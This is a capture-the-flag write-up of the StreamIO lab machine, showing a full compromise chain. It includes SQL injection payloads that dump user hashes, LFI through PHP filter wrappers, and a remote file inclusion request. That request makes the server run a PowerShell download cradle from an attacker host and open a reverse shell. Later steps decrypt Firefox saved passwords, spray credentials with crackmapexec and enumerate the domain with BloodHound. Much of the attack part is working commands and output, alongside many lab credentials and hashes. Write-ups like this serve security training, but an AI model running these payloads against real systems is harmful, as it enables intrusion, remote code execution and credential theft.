StreamIO (Medium)
Post

StreamIO (Medium)

Host entries:

1
10.10.10.125  watch.streamio.htb streamio.htb alpblog.streamio.htb

If Active Directory => NTP Synchronization with the domain controller.

Content

  • LFI using PHP wrappers
  • Source Code Review
  • Detecting and exploiting remote file inclusion
  • Firefox saved credentials retrieval and cracking
  • Automatic LDAP enumeration for lateral movement
  • LDAP abuse for privilege escalation
  • LAPS password exposure

Reconnaissance

Initial reconnaissance for TCP ports

1
2
3
4
5
nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv -oG allPorts 10.10.11.158
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.158 ()   Status: Up
Host: 10.10.11.158 ()   Ports: 53/open/tcp//domain///, 80/open/tcp//http///, 88/open/tcp//kerberos-sec///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 389/open/tcp//ldap///, 443/open/tcp//https///, 445/open/tcp//microsoft-ds///, 464/open/tcp//kpasswd5///, 593/open/tcp//http-rpc-epmap///, 636/open/tcp//ldapssl///, 3268/open/tcp//globalcatLDAP///, 3269/open/tcp//globalcatLDAPssl///, 5985/open/tcp//wsman///, 9389/open/tcp//adws///, 49667/open/tcp/////, 49673/open/tcp/////, 49674/open/tcp/////, 49702/open/tcp/////  Ignored State: filtered (65516)

Services and Versions running:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49702 -sCV -Pn -n -vvvv -oN targeted 10.10.11.158
Nmap scan report for 10.10.11.158
Host is up, received user-set (0.20s latency).
Scanned at 2023-04-24 23:10:36 CST for 102s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-04-25 12:10:44Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after:  2022-03-24T07:03:28
| MD5:   b99a2c8da0b8b10aeefabe204abdecaf
| SHA-1: 6c6a3f5c753661d52da60e6675c056ce56e4656d
| -----BEGIN CERTIFICATE-----
| MIIDYjCCAkqgAwIBAgIUbdDRZxR55nbfMxJzBHWVXcH83kQwDQYJKoZIhvcNAQEL
| BQAwIDELMAkGA1UEBhMCRVUxETAPBgNVBAMMCHN0cmVhbUlPMB4XDTIyMDIyMjA3
| MDMyOFoXDTIyMDMyNDA3MDMyOFowIDELMAkGA1UEBhMCRVUxETAPBgNVBAMMCHN0
| cmVhbUlPMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2QSO8noWDU+A
| MYuhSMrB2mA+V7W2gwMdTHxYK0ausnBHdfQ4yGgAs7SdyYKXf8fA502x4LvYwgmd
| 67QtQdYtsTSv63SlnEW3zjJyu/dRW0cwMfBCqyiLgAScrxb/6HOhpnOAzk0DdBWE
| 2vobsSSAh+cDHVSuSbEBLqJ0GEL4hcggHhQq6HLRmmrb0wGjL1WIwjQ8cCWcFzzw
| 5Xe3gEe+aHK245qZKrZtHuXelFe72/nbF8VFiukkaBMgoh6VfpM66nMzy+KeLfhP
| FkxBt6osGUHwSnocJknc7t+ySRVTACAMPjbbPGEl4hvNEcZpepep6jD6qgi4k7bL
| 82Nu2AeSIQIDAQABo4GTMIGQMB0GA1UdDgQWBBRf0ALWCgvVfRgijR2I0KY0uRjY
| djAfBgNVHSMEGDAWgBRf0ALWCgvVfRgijR2I0KY0uRjYdjAPBgNVHRMBAf8EBTAD
| AQH/MCsGA1UdEQQkMCKCDHN0cmVhbUlPLmh0YoISd2F0Y2guc3RyZWFtSU8uaHRi
| MBAGA1UdIAQJMAcwBQYDKgMEMA0GCSqGSIb3DQEBCwUAA4IBAQCCAFvDk/XXswL4
| cP6nH8MEkdEU7yvMOIPp+6kpgujJsb/Pj66v37w4f3us53dcoixgunFfRO/qAjtY
| PNWjebXttLHER+fet53Mu/U8bVQO5QD6ErSYUrzW/l3PNUFHIewpNg09gmkY4gXt
| oZzGN7kvjuKHm+lG0MunVzcJzJ3WcLHQUcwEWAdSGeAyKTfGNy882YTUiAC3p7HT
| 61PwCI+lO/OU52VlgnItRHH+yexBTLRB+Oa2UhB7GnntQOR1S5g497Cs3yAciST2
| JaKhcCnBY1cWqUSAm56QK3mz55BNPcOUHLhrFLjIaWRVx8Ro8QOCWcxkTfVcKcR+
| DSJTOJH8
|_-----END CERTIFICATE-----
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_ssl-date: 2023-04-25T12:12:16+00:00; +7h00m01s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49702/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18376/tcp): CLEAN (Timeout)
|   Check 2 (port 44245/tcp): CLEAN (Timeout)
|   Check 3 (port 57902/udp): CLEAN (Timeout)
|   Check 4 (port 25119/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-04-25T12:11:36
|_  start_date: N/A

As we can see port tcp-443 has a certificate bonded to a domain called watch.streamio.htb once we add the domain to our /etc/hosts file we can see that the following web page is to be shown:

Description

After a fuzzing with dirsearch we identify that there is an endpoint called search.php on the machine:

1
2
dirsearch.py -u https://watch.streamio.htb/ -w /usr/share/seclists/Fuzzing/onelistforallshort.txt

Also fuzzing the streamio.htb web page we identify the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
dirsearch -u https://streamio.htb/ 

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/streamio.htb/-_23-04-27_20-21-22.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-04-27_20-21-22.log

Target: https://streamio.htb/

[20:21:22] Starting: 

[20:21:25] 301 -  147B  - /js  ->  https://streamio.htb/js/
[20:21:30] 301 -  150B  - /ADMIN  ->  https://streamio.htb/ADMIN/
[20:21:30] 301 -  150B  - /Admin  ->  https://streamio.htb/Admin/
[20:21:33] 200 -    8KB - /about.php
[20:21:34] 301 -  150B  - /admin  ->  https://streamio.htb/admin/
[20:21:35] 403 -   18B  - /admin/
[20:21:35] 403 -   18B  - /admin/?/login
[20:21:35] 403 -   18B  - /admin/index.php 
[20:21:46] 200 -    6KB - /contact.php
[20:21:47] 301 -  148B  - /css  ->  https://streamio.htb/css/
[20:21:51] 200 -    1KB - /favicon.ico
[20:21:51] 301 -  150B  - /fonts  ->  https://streamio.htb/fonts/    
[20:21:53] 403 -    1KB - /images/  
[20:21:53] 301 -  151B  - /images  ->  https://streamio.htb/images/  
[20:21:53] 200 -   13KB - /index.php
[20:21:53] 200 -   13KB - /index.pHp
[20:21:53] 200 -   13KB - /index.php/login/
[20:21:54] 403 -    1KB - /js/
[20:21:57] 200 -    4KB - /login.php
[20:21:57] 302 -    0B  - /logout.php  ->  https://streamio.htb/
[20:22:07] 200 -    4KB - /register.php

Exploitation

Let’s try to exploit an SQL Injection1 on the search bar we’ll use the most basic approach with UNION SELECT based SQLi.

First of all we need to identify the behavior of the database with sqli payloads, a good idea is to enumerate columns with sqli such as :

1
2
3
4
5
6
' union select 1-- -
' union select 1,2-- -
' union select 1,2,3-- -
' union select 1,2,3,4-- -
' union select 1,2,3,4,5-- -
' union select 1,2,3,4,5,6-- -

If there is a successsful answer then we need to identify which column retrieves information from the database.

1
' union select 1,@@version,3,4,5,6 -- -

Database_Version

You can also use any of the options below:

1
2
3
4
' union select 1,CURRENT_USER,3,4,5,6 -- -
' union select 1,user_name(),3,4,5,6 -- -
' union select 1,system_user,3,4,5,6 -- -
' union select 1,user,3,4,5,6 -- -

Database_User

It is of upmost importance to gather the name of the database being used:

1
' union select 1,DB_NAME(),3,4,5,6 -- -

Database_Name

Once that we get the name of the database we can proceed to gather the tables on such database:

1
2
# First and simple option is retrieving all the info from a table
' union select 1,name,3,4,5,6 FROM STREAMIO..sysdatabases-- -

Database_Tables

Another option is to retrieve the tables on a simple column with the function STRING_AGG:

1
' union select 1,(SELECT STRING_AGG(name, ', ') FROM STREAMIO..sysobjects),3,4,5,6-- -

Database_Tables

Then we extract the column names, we can use a WHERE condition clause to extract only the columns from an specific table in this case the “users” table:

1
' union select 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'users')-- -

Database_Columns

Finally once that we gather all the info we then proceed to retrieve information from the table:

1
' union select 1,CONCAT(username, ' ', password),3,4,5,6 FROM users-- -

Then we get the list of users and its hashed passwords:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Alexendra 1c2b3d8270321140e5153f6637d3ee53
Austin 0049ac57646627b8d7aeaccf8b6a936f
Barbra 3961548825e3e21df5646cafe11c6c76
Barry 54c88b2dbd7b1a84012fabc1a4c73415
Baxter 22ee218331afd081b0dcd8115284bae3
Bruno 2a4e2cf22dd8fcb45adcb91be1e22ae8
Carmon 35394484d89fcfdb3c5e447fe749d213
Clara ef8f3d30a856cf166fb8215aca93e9ff
Diablo ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield 8097cedd612cc37c29db152b6e9edbd3
Gloria 0cfaaaafb559f081df2befbe66686de0
James c660060492d9edcaa8332d89c99c9239
Juliette 6dcd87740abb64edfa36d170f0d5450d
Lauren 08344b85b329d7efd611b7a7743e8a09
Lenord ee0b8a0937abd60c2882eacb2f8dc49f
Lucifer 7df45a9e3de3863807c026ba48e55fb3
Michelle b83439b16f844bd6ffe35c02fe21b3c0
Oliver fd78db29173a5cf701bd69027cb9bf6b
Robert f03b910e2bd0313a23fdd7575f34a694
Robin dc332fb5576e9631c9dae83f194f8e70
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
Samantha 083ffae904143c4796e464dac33c1f7d
Stan 384463526d288edcc95fc3701e523bc7
Thane 3577c47eb1e12c8ba021611e1280753c
Theodore 925e5408ecb67aea449373d668b7359e
Victor bf55e15b119860a6e6b5a164377da719
Victoria b22abb47a02b52d5dfa27fb0b534f693
William d62be0dc82071bccc1322d64ec5b6c51
yoshihide b779ba15cedfd22a023c4d8bcf5f2332

We then proceed to crack the most suspicious one which is the yoshihide user:

1
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..

Crackstation_Cracked_Password

After trying to login the machine via evil-winrm with this machine unsuccessfully, we then try to login to the streamio.htb:

Description

Fortunately we were able to login to the page but nothing seems to be changed, so we keep searching, remember that we have another endpoint before /admin but we had no access, trying to access this time the page shows the following menu:

Description

Every option on the menu has a parameter ?user=, ?staff=, ?movie=, ?message= this gives us a good option to fuzz parameters on a URL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ffuf -c -u 'https://streamio.htb/admin/?FUZZ=' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --fs 1678 -b 'PHPSESSID=u890md8390v1co4e4r6n7hoe96'
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/?FUZZ=
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Cookie: PHPSESSID=u890md8390v1co4e4r6n7hoe96
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 1678
________________________________________________

user                    [Status: 200, Size: 1702, Words: 86, Lines: 51, Duration: 82ms]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 88ms]
movie                   [Status: 200, Size: 319875, Words: 15967, Lines: 10779, Duration: 87ms]
debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 78ms]

Also it is important to fuzz php scripts, we identify the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -c -u 'https://streamio.htb/admin/FUZZ.php' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --fs 1678 -b 'PHPSESSID=u890md8390v1co4e4r6n7hoe96'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://streamio.htb/admin/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Cookie: PHPSESSID=u890md8390v1co4e4r6n7hoe96
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 1678
________________________________________________

master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 106ms]
Master                  [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 98ms]

Also, if we have this we can try to exploit an LFI abusing this parameters and PHP Wrappers

1
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

And the response is as follows: PHP-Wrappers

Once we have the output we proceed to decode it

1
2
3
4
5
6
7
8
9
10
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
        header('HTTP/1.1 403 Forbidden');
        die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

We obtain passwords from the database but since we have no access to the database we can’t enumerate so we try now to read the master.php file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
if(!defined('included'))
        die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['movie']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST" action="?movie=">
                                <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
        die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
        <div class="form-control" style="height: 3rem;">
                <h4 style="float:left;"><?php echo $row['username']; ?></h4>
                <div style="float:right;padding-right: 25px;">
                        <form method="POST">
                                <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
                                <input type="submit" class="btn btn-sm btn-primary" value="Delete">
                        </form>
                </div>
        </div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

As we can see on the php code, the server is checking for the variable included which is defined only for users authenticated as seen at the beginning of the index.php script. Additionally, the page master.php is accepting an include parameter, which is evaluating file contents. We can abuse this to perform remote file inclusion from the file_get_contents() and achieve remote code execution from eval(). Since we cannot directly access the functions unless the page is included from another page, we can use the ?debug= parameter in index.php to include master.php, which will in turn make a POST request to a remote server and attempt to load a remote file through the usage of an include parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(!defined('included'))
die("Only accessable through includes");
---------- SNIP ------------
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo("ERROR");
}
?>

At the end our request is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /admin/?debug=master.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=7d9dr7d5sb0v0eu01vn59qrr9a
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

include=http://10.10.16.2:8081/test.php

The content of the test.php can be the system PHP function which we’ll abuse to get a reverse shell with Invoke-PowerShellTcp.ps1 2

1
system("powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2/Invoke-PowerShellTcp.ps1')");

Once executed our payload with Burpsuite we’ll get a reverse shell as the user streamio\yoshihide:

1
2
PS C:\Windows\Temp\shuciran> whoami
streamio\yoshihide 

Root privesc

Once inside the machine we proceed to enumerate, and we identify some credentials on the index.php file within the /admin folder with some hardcoded credentials:

1
2
3
4
5
6
7
8
9
10
PS C:\inetpub\streamio.htb\admin> type index.php
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
        header('HTTP/1.1 403 Forbidden');
        die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

Now that we have this info we can try to login to the database directly from our revshell using sqlcmd as follows:

To execute a query we need to type go after every instruction

1
2
3
4
5
6
7
8
9
10
11
sqlcmd -s localhost -U db_admin -P 'B1@hx31234567890'
1> select name from master.sys.databases 
2> go 
name                                                                                                                      
-----
master
tempdb
model
msdb
STREAMIO
streamio_backup

We then proceed to extract info from the streamio_backup database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Use 
1> use streamio_backup
2> go
# 
1> select CONCAT(username, ' ', password) FROM users 
2> go 
                                                                                                      
-----------------------------------------------------------------------------------------------------
nikk37                                             389d14cb8e4e9b94b137deb1caf0612a
yoshihide                                          b779ba15cedfd22a023c4d8bcf5f2332
James                                              c660060492d9edcaa8332d89c99c9239
Theodore                                           925e5408ecb67aea449373d668b7359e
Samantha                                           083ffae904143c4796e464dac33c1f7d
Lauren                                             08344b85b329d7efd611b7a7743e8a09
William                                            d62be0dc82071bccc1322d64ec5b6c51
Sabrina                                            f87d3c0d6c8fd686aacc6627f1f493a5

Cracking the password with crackstation we retrieve the following credentials:

1
nikk37:get_dem_girls2@yahoo.com

Cracking-password

By running WinPEAS we identify that there is a Firefox3 database as shown below: Winpeas-enumeration

This gives us an idea that there are some Firefox Cached Passwords which can be abused with firepwd.py as follows:

First go to the path file session for the user:

1
2
C:\\Users\\nikk37\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\br53rxeg.default-release

Then extract both files key4.db and logins.json and use the firepwd.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python3 /opt/firepwd/firepwd.py key4.db logins.json
-------------------- SNIP -----------------------------
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
       }
     }
   }
   OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
 }
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

Now that we have credentials we try to execute the crackmapexec to enumerate which permissions are available with this credentials

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
crackmapexec ldap 10.10.11.158 -u users -p creds --continue-on-success
SMB         10.10.11.158    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.158    445    DC               [-] streamIO.htb\\JDgodd:B1@hx3123456789 
SMB         10.10.11.158    445    DC               [-] streamIO.htb\\JDgodd:66boysandgirls.. 
SMB         10.10.11.158    445    DC               [-] streamIO.htb\\JDgodd:get_dem_girls2@yahoo.com 
LDAP        10.10.11.158    389    DC               [+] streamIO.htb\\JDgodd:JDg0dd1s@d0p3cr3@t0r
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\JDgodd:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\JDgodd:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\JDgodd:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:get_dem_girls2@yahoo.com 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\db_admin:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:get_dem_girls2@yahoo.com 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [+] streamIO.htb\\nikk37:get_dem_girls2@yahoo.com
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:get_dem_girls2@yahoo.com 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\admin:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [+] streamIO.htb\\nikk37:get_dem_girls2@yahoo.com
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\nikk37:password@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:B1@hx3123456789 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:66boysandgirls.. 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:get_dem_girls2@yahoo.com 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:JDg0dd1s@d0p3cr3@t0r 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:n1kk1sd0p3t00:) 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:paddpadd@12 
LDAP        10.10.11.158    389    DC               [-] streamIO.htb\\yoshihide:password@12

Even if there are credentials with different users, the best option is to do a Password Sprayer attack

And4 we get that user JDgodd has privileges with LDAP so this gives us an idea to execute Bloodhound.py to enumerate the Domain:

1
python3 bloodhound.py -c All -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb

Additionally,5 it is possible to execute SharpHound.exe within the machine to generate the Bloodhound inputs:

1
*Evil-WinRM* PS C:\Windows\Temp\shuciran> .\SharpHound.exe

